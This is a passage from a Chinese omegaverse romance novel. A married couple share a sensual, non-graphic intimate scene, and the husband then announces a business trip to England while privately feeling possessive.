她当然很有这样的资本。 一双微圆的桃花眼,亮得像星子。合该是媚态极妍的长相,偏偏因为这双眼睛,生出了几分清灵。 天鹅似的脖颈,一路延伸到胸前。吊带真丝裙贴身至极,勾勒出饱满的那处,雪白的一大片隐隐约约。 像是倒出来的杏仁浆。 阮宜等了半晌没等到,蓦然睁开眼。 看到秦深正专注地看着她,阮宜很娇地得意道:“你是不是想亲我?” 秦深好整以暇地看着她,没有开口。 阮宜她却来了表演欲,一本正经地胡说八道:“我是大小姐,你是佣人,我是不会嫁给你的。” 那张殷红的小嘴越说越来劲:“不要以为我对你有几分特殊,你就可以肖想我,竹门就是竹门,木门就是木门,我们之间根本就是——不可能的!” 秦深眉梢轻抬,突然俯下身衔住那两片红唇。 阮宜的声音被吞没在这个突如其来的吻中,只余下细微娇气的呜咽。 他吻得很专注,仿佛带着电流一路深入,连同她的心脏也酥酥麻麻。 紧咬的齿关被撬开,炙热的气息源源不断地交换,她口腔中的空气皆被他吸吮干净,身体逐渐无力地滑落,直到男人大掌环住那把纤腰。 阮宜下意识抓住他的衬衣扣子,葱白的手指将丝滑的布料拧成了结。 秦深蓦然放开她。 他吻的时候伏下了身子,刚好视线与她平视。 小姑娘还未反应过来,迷离眸中还蒙着一丝水汽,脸色浮上大片绯红,急切又茫然地张嘴喘着气。 不等她开口,男人的吻再度密密麻麻地覆下来。 这次不再止于唇角,一路延伸,吮遍了大片雪白。 秦深勾起嘴角,不似平日稳重,反而很轻浮地回应了刚才她的话题。 “不但肖想了,还亲了。” “小姐要怎么罚我?” 他向来低沉的声音,染上带有情欲的喑哑,蛊惑一般开口:“不如,罚我多出点力,好不好?” 阮宜身子发软,没有半点心思和他讲话,徒留下绵软的力气,哼唧着要推开他,却只会招致男人更强烈的报复。 ……满室旖旎。 卧室里弥漫着浓郁的信息素交缠的气息。 秦深捏着女孩纤细的脚踝,不紧不慢地给她涂着身体乳。 雪白的肌肤上红痕斑斑,男人眸色渐渐又有些深邃。 他轻哂一声,道:“后天我要去英国出差。” 正抱着手机的阮宜翻了个身,雪白的足尖不满地点了点他的胸:“怎么又出差呀?” 怪不得他今天只折腾了她一回。 原来是有事要说。 秦深轻易抓住那只作乱的脚,耐心地解释:“这次可能 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他们刚结婚不久,秦深就远赴海外开拓市场,她也并未觉得有什么不适。 可是这次,一想到他又要离开那么久,她就控制不住的失落。 她已经习惯了alpha每日的陪伴与抚慰。 看到她这样不想他走,原是符合秦深本意的。 一个alpha对于自己的omega的占有欲,只会随着时间越来越强。 omega越依赖自己,也就越符合alpha的占有本能。 然而见她难过得蜷成一团,他的心又格外刺痛。 他俯下身,捏住她细白的肩头,温柔地吻掉她眼角的泪,态度是一向难见的柔和:“不会像之前那么久的,最多半个月。” 阮宜这才肯转过身来,含着水光泪眼盈盈地看他:“真的吗?” 秦深点头:“嗯,我也不舍得你。” 小姑娘这才由阴转晴,急切地抱住他精瘦的腰际,像小猫儿似的,要他紧紧把她护到怀里。 秦深托着她两只胳膊,将她一路往上抱,直到她的小脑袋搁在他颈窝里,不断地嗅嗅闻闻那处腺体。 刚才起伏的情绪才慢慢被他的信息素安抚。 秦深轻声道:“你要和我一起去英国吗?” 怀里娇软的身躯一个激灵,随后仰起头看他:“可以吗?” 阮宜好像真的有点动心,碎碎念道:“其实我也好久没去英国了,见见老师同学们也不错啊,我还有同学在英国工作呢……” 她叽叽喳喳说了一阵,没留意到秦深眸子渐深。 并不是愉悦的神情。 明明是他主动问起,可此刻他又不想答应。 怕她是不是想去英国……见什么人。 见他不想见他的人。 秦深轻舒一口气,神色自若地摇摇头。 只是有些无奈的模样:“我争取早点完成工作,回来陪你好不好?” 也对,他是工作,又不是陪她出游, 况且,她在这边也还有工作呢。 知道没办法和他一起去了,阮宜只得再度伏到他的怀里,轻轻叹了口气。 小姑娘靠在他怀里,重心慢慢全落到他胸前。 秦深松出几丝信息素抚慰她,随后便逐渐传来细长均匀的呼吸声。 他抚摸着她粉白的脸颊,还带着些许泪痕。 “是真的不想我走,还是只是……生理的依赖?” 喃喃的声音轻而浅,仿佛从未有人说过什么。